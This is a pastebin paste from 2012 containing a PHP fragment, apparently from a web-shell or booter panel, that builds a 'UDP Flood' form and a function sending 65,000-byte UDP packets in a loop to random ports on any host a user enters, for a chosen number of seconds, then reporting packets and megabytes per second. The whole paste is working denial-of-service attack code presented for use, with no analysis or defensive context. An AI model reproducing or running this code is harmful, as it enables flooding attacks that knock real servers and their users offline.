Don't like ads? PRO users don't see any ads ;-)
Guest

ducky

By: a guest on Aug 3rd, 2012  |  syntax: None  |  size: 2.67 KB  |  hits: 35  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. /* if type=udp */
  2.                 if ( $type == "UDP" )
  3.                         {
  4.                         if ( $_GET['host'] != '' &&  $_GET['time'] != '' )
  5.                                 {
  6.                                 $page .= UDP_FLOOD( $host , $time );
  7.                                 }
  8.                         else
  9.                                 {
  10.                                 $page .= '              <b>UDP Flood</b><br /><br />' . "\n";
  11.                                 $page .= '              <form action="' . $myna . '" method="get">' . "\n";
  12.                                 $page .= '                      <table class="text">' . "\n";
  13.                                 $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  14.                                 $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  15.                                 $page .= '                      </table>' . "\n";
  16.                                 $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  17.                                 $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  18.                                 $page .= '              </form>' . "\n";
  19.                                 }
  20.                         }
  21.  
  22.  
  23. /* ducky udp */
  24. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  25. // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  26. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  27.  
  28.         function UDP_Flood( $host , $length )
  29.                 {
  30.                 ignore_user_abort(TRUE);
  31.                 set_time_limit(0);
  32.  
  33.                 $max_time = time() + $length;
  34.  
  35.                 $packet = "";
  36.                 $packets = 0;
  37.  
  38.                 while( strlen ( $packet ) < 65000 )
  39.                         {
  40.                         $packet .= Chr( 255 );
  41.                         }
  42.  
  43.                 while( 1 )
  44.                         {
  45.                         if ( time() > $max_time )
  46.                                 {
  47.                                 break;
  48.                                 }
  49.  
  50.                         $rand = rand( 1 , 65535 );
  51.                         @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
  52.                         if( $fp )
  53.                                 {
  54.                                 fwrite( $fp , $packet );
  55.                                 fclose( $fp );
  56.                                 $packets++;
  57.                                 }
  58.                         }
  59.  
  60.                 if ( $packets == 0 )
  61.                         {
  62.                         $rtn  = '<b>UDP Flood</b><br /><br />' . "\n";
  63.                         $rtn .= '<table class="text">' . "\n";
  64.                         $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  65.                         $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  66.                         $rtn .= '</table>' . "\n";
  67.                         $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  68.                         }
  69.                 else
  70.                         {
  71.                         $rtn  = '<b>UDP Flood</b><br /><br />' . "\n";
  72.                         $rtn .= '<table class="text">' . "\n";
  73.                         $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  74.                         $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  75.                         $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  76.                         $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  77.                         $rtn .= '</table>' . "\n";
  78.                         }
  79.  
  80.                 return$rtn;
  81.                 }